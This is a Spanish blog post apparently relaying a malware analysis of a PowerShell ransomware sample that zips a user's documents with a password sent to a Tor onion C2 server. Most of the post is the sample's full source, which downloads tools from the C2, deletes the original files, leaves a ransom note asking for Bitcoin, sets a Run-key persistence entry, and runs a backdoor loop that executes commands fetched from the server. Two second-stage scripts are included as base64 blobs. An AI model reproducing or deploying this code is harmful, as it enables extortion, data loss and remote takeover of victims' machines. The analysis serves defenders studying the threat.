Xavier Mertens (@xme) "pescó" un sencillo pero interesante ransomware en Powershell que usa 7z para "secuestrar" los archivos de la víctima y, curiosamente, no es detectado por ningún AV en VirusTotal:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 | function compress($Pass) $tmp = $env:TEMP $s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/prog/' $link_7zdll = $s + '7z.dll' $link_7zexe = $s + '7z.exe' $7zdll = '"'+$tmp+'\7z.dll"' $7zexe = '"'+$tmp+'\7z.exe"' cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php' $argOut = 'Desktop\YourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString() $argPass = '-p' + $Pass Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop function makePass $alph=@() 65..90 foreach-object{$alph+=[char]$_} $num=@() 48..57 foreach-object{$num+=[char]$_} $res = $num + $alph Sort-Object {Get-Random} $res = $res -join '' return $res function makeFileList $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php $List = $files -split '\r' return $List Function makeFileListTable($fileList) $strOut = '' foreach($i in 0..($fileList.Length - 1)) $strOut += '<tr><td>{0}. {1}</td></tr>' -f ($i+1), $fileList[$i] return $strOut function notify($fileList, $fileResult, $UUID) $web = '<html> <style> table, td {{border: 1px solid rgb(30, 253, 0) color: aliceblue }} body {{background-color: rgb(19, 38, 75) }} h2, h3 {{color: aliceblue }} .letter {{margin: auto width: 30% border: 2px solid rgb(228, 253, 0) }} underline {{text-decoration: underline }} a {{color: aquamarine }} </style> <body> <div class="letter"> <h2>Dear {0} (UUID),</h2> <h3>Congrats Your files are compressed with looong password. You can see a password protected file (YourFilesHaha_xxxx.zip) on Desktop, this file stored all your targeted documents </h3> <h3 id="underline">FAQ: What should I do now I missed my files :(</h3> <h3>Ans: Create a Bitcoin wallet such as in <a href = "https://accounts.binance.com/en/register" target = "_blank">Binance</a>, pay us Bitcoin worth of 20 USD to get your unzip key </h3> <h3>After depositing money to your wallet and understanding the way to transfer, you can use the program "ransom_10d2e.bat" in the Desktop to finish the transaction.</h3> </div> <h3>Your affected files (at least):</h3> <table>{1}</table> <body> </html>' -f $UUID, $fileResult Set-Content -Path 'Desktop\READ_ME(ABOUT YOUR FILES).html' -value $web Start 'Desktop\READ_ME(ABOUT YOUR FILES).html' Remove-Item -Path $fileList[$i] echo $fileList function setup $usr = $env:USERPROFILE $cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoNCiRvblN0YXJ0ID0gJ2NtZCAvYyBwb3dlcnNoZWxsIC13aW5kb3dzdHlsZSBoaWRkZW4gY2QgJGVudjpURU1QXDEwZDJkOyBwb3dlcnNoZWxsIC1lcCBieXBhc3MgLlwxMGQyZC5wczEnOw0KTmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCBIS0NVOlxIS0VZX0NVUlJFTlRfVVNFUlxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4gLU5hbWUgMXMwdGRhMnJkdCAtVmFsdWUgJG9uU3RhcnQgLUZvcmNlOw0KDQpjZCAkZW52OlVTRVJQUk9GSUxFOw0KU3RhcnQtUHJvY2VzcyAtd2luZG93c3R5bGUgaGlkZGVuIC1GaWxlUGF0aCAuaG9tZVxUb3JcdG9yLmV4ZTsNCg0KZnVuY3Rpb24gZ2V0VVVJRA0Kew0KICAgICRyYXcgPSAoR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW1Qcm9kdWN0KS5VVUlEOw0KICAgICRVVUlEID0gJHJhdy5zcGxpdCgnLScpWzRdOw0KICAgIHJldHVybiAkVVVJRDsNCn0NCg0KJFJIID0gImh0dHA6Ly9xZDQ1ZDdvYWxoY3psbG1yaGI0c2VncWM0NjVzeXV2NGhzamxoejV6a2NobGluam1yZm80dWhpZC5vbmlvbjo1MDAwL3JhYy8iOw0KJFVVSUQgPSBnZXRVVUlEOw0KJFVVSUQ7DQoNCndoaWxlKCR0cnVlKQ0Kew0KICAgIGNtZCAvYyBjdXJsIC1zIC14IHNvY2tzNWg6Ly9sb2NhbGhvc3Q6OTA1MCAkUkgnc3RhdHVzLnBocD9pZD0nJFVVSUQ7DQogICAgJGpvYkNhbGwgPSAoY21kIC9jIGN1cmwgLXMgLXggc29ja $cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0IGRvZXNuJ3QgZG8gYW55IGhhcm0gdG8gb3VyIHNlcnZlciwgZG9uJ3QgYmUgc3R1cGlkLmBuU3RhcnRpbmcgVG9yIHRvIGNvbW11bmljYXRlIHdpdGggdXMuLi4iDQpjZCAkZW52OlVTRVJQUk9GSUxFOw0KU3RhcnQtUHJvY2VzcyAtd2luZG93c3R5bGUgaGlkZGVuIC1GaWxlUGF0aCAuaG9tZVxUb3JcdG9yLmV4ZTsNCg0KZnVuY3Rpb24gZ2V0UmFuc29tKCkNCnsNCiAgICAkcmVxdWVzdCA9ICdodHRwOi8vcWQ0NWQ3b2FsaGN6bGxtcmhiNHNlZ3FjNDY1c3l1djRoc2psaHo1emtjaGxpbmptcmZvNHVoaWQub25pb246NTAwMC9iaXRUcmFuLnBocD9VU0RWYWx1ZT1nZXQnOw0KICAgICRjdXJSYW5zb20gPSBjbWQgL2MgY3VybCAtcyAteCBzb2NrczVoOi8vbG9jYWxob3N0OjkwNTAgJHJlcXVlc3Q7DQogICAgJG1zZzEgPSAnUmFuc29tIG5lZWRlZCAoaW4gQlRDKTogezB9IH4gMjAgVVNEJyAtZiAkY3VyUmFuc29tOw0KICAgIHJldHVybiAkbXNnMTsNCn0NCmZ1bmN0aW9uIGdldFVVSUQoKQ0Kew0KICAgICRyYXcgPSAoR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW1Qcm9kdWN0KS5VVUlEOw0KICAgICRVVUlEID0gJHJhdy5zcGxpdCgnLScpWzRdOw0KICAgIHJldHVybiAkVVVJRDsNCn0NCg0KZnVuY3Rpb24gcGF5KCRVVUlEKQ0Kew0KICAgICRtc2cyID0gIk5vdGUxOiBXZSBzdHJvbmdseSBhZHZpc2UgeW91IHRvIHdhaXQgNSAtIDEwcyBiZWZvcmUgc $10d2d = $tmp +'\10d2d\10d2d.ps1' $10d2e = $usr +'\Desktop\10d2e.ps1' New-Item -ItemType Directory -Force -Path $tmp'\10d2d' Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) Out-String) Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) Set-Content -Path 'Desktop\Ransom_10d2e.bat' -value 'cmd /k powershell -ep bypass .\10d2e.ps1' function getUUID $raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID $UUID = $raw.split('-')[4] return $UUID cd $env:USERPROFILE Remove-Item -Path _.zip -Force $UUID = getUUID $Pass = makePass $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/storeKey.php pass={0} id={1}' -f $Pass, $UUID $response = cmd /c curl -s -x socks5h://localhost:9050 $request if($response -eq 'OK') $fileList = @(makeFileList) $fileResult = makeFileListTable $fileList compress $Pass setup notify $fileList $fileResult $UUID cd $env:TEMP/10d2d powershell -ep bypass .\10d2d.ps1 mkdir -Path $env:USERPROFILE\Desktop\Debug_Failed |
El script comienza generando algunos datos basados en el host: un UUID y una contraseña aleatoria:
function getUUID { $raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID; $UUID = $raw.split('-')[4]; return $UUID; } function makePass { $alph=@(); 65..90|foreach-object{$alph+=[char]$_}; $num=@(); 48..57|foreach-object{$num+=[char]$_}; $res = $num + $alph | Sort-Object {Get-Random}; $res = $res -join ''; return $res; }
El ransomware se comunica con el servidor de C2 a través de TOR.
El cliente TOR no estaba incluido en este script de PowerShell, ¿tal vez en un segundo script?
Nota: Se espera que TOR se inicie desde un directorio ".home":
cd $env:USERPROFILE; Start-Process -windowstyle hidden -FilePath .home\Tor\tor.exe;
El servidor C2 se encuentra en esta dirección de Onion: qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion.
El ransomware envía el UUID y la contraseña generados al C2:
UUID = getUUID; $Pass = makePass; $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/storeKey.php?pass={0}^&id={1}' -f $Pass, $UUID; $response = cmd /c curl -s -x socks5h://localhost:9050 $request;La respuesta esperada es un simple "OK" que activará el proceso de cifrado de archivos. La lista de extensiones de archivo de destino es bastante pequeña y la ruta de búsqueda está restringida al directorio de inicio del usuario.
function makeFileList { $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php; $List = $files -split '\r'; return $List; } $fileList = @(makeFileList); $fileResult = makeFileListTable $fileList; compress $Pass;
La forma en que se cifran los archivos es un enfoque interesante. En lugar de cifrar todos los archivos uno por uno, crea un gran archivo cifrado 7Z que contiene todos los archivos de destino.
function compress($Pass) { $tmp = $env:TEMP; $s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/prog/'; $link_7zdll = $s + '7z.dll'; $link_7zexe = $s + '7z.exe'; $7zdll = '"'+$tmp+'\7z.dll"'; $7zexe = '"'+$tmp+'\7z.exe"'; cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll; cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe; $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php'; $argOut = 'Desktop\YourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString(); $argPass = '-p' + $Pass; Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop; }
Una vez que los archivos se empaquetan, los scripts se dumpean en el sistema de archivos:
function setup { $tmp = $env:TEMP; $usr = $env:USERPROFILE; $cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoN ... TbGVlcCAtU2Vjb25kcyA1Ow0KfQ=='; $cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0 ... J3QgZG8gYW55IGhhcmm01lbnU7DQo='; $10d2d = $tmp +'\10d2d\10d2d.ps1'; $10d2e = $usr +'\Desktop\10d2e.ps1'; New-Item -ItemType Directory -Force -Path $tmp'\10d2d'; Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) | Out-String); Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) | Out-String); Set-Content -Path 'Desktop\Ransom_10d2e.bat' -value 'cmd /k powershell -ep bypass .\10d2e.ps1'; }
El primer script ("10d2d.ps1") implementa persistencia:
$onStart = 'cmd /c powershell -windowstyle hidden cd $env:TEMP\10d2d; powershell -ep bypass .\10d2d.ps1'; New-ItemProperty -Path HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run -Name 1s0tda2rdt -Value $onStart -Force;
Luego implementa un backdoor esperando comandos del C2:
$RH = "http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/rac/"; $UUID = getUUID; while($true) { cmd /c curl -s -x socks5h://localhost:9050 $RH'status.php?id='$UUID; $jobCall = (cmd /c curl -s -x socks5h://localhost:9050 $RH'commandBlock') -split '\n'; if(($jobCall[0] -replace ' ', '') -eq $UUID) { cmd /c curl -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=ack'; try { $returnCont = (Invoke-Expression $jobCall[1] | Out-String) -replace '\r\n', '\r\n'; } catch { $returnCont = $_ -replace '\r\n', '\r\n'; } $curPath = (cmd /c cd | Out-String) -replace '\r\n', '\r\n'; $returnCont = ('From UUID - {0} {1}\r\n{2}\r\n' -f $UUID, ('_'*75), $curPath) + $returnCont; cmd /c curl -X POST -d $returnCont -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=return'; } Start-Sleep -Seconds 5; }
El segundo script ("10d2e.ps1") contiene el código para indicar al usuario la nota del rescate (que no es muy caro: $20):
function pay($UUID) { $msg2 = "Note1: We strongly advise you to wait 5 - 10s before submitting your info below to avoid the latency problem. `nNote2: pay the ransom only once.`nNote3: demo victim wallet: tb1qkvstwkjsuudcy0dnljdp8qpw4ur68g5uxhhf3j"; $msg2; $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=schedule"&"id=' + $UUID; $get2 = cmd /c curl -s -x socks5h://localhost:9050 $request; $msg3 = "`n`nDeadline: " + (get-date).AddMinutes(10).ToString("MM({0})-dd({1})-yyyy HH:mm:ss") -f 'mm', 'dd'; $msg3; $get2 = Read-Host($get2); $msg4 = 'Loading again...'; $msg4; $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=confirm"&"id=' + $UUID + '"&"walletAddr=' + $get2; $result = cmd /c curl -s -x socks5h://localhost:9050 $request; $result; if($result[0] -ieq 'C') { $msg5 = 'Generating a copy of password to your Desktop. Have a check...'; $msg5; Set-Content -Path $env:USERPROFILE\Desktop\passc0de.txt -Value $result; } }
La interacción con el usuario tiene esta pinta:
Tened en cuenta que el usuario debe invocar este segundo script como se indica en la notificación:
Comentarios
Publicar un comentario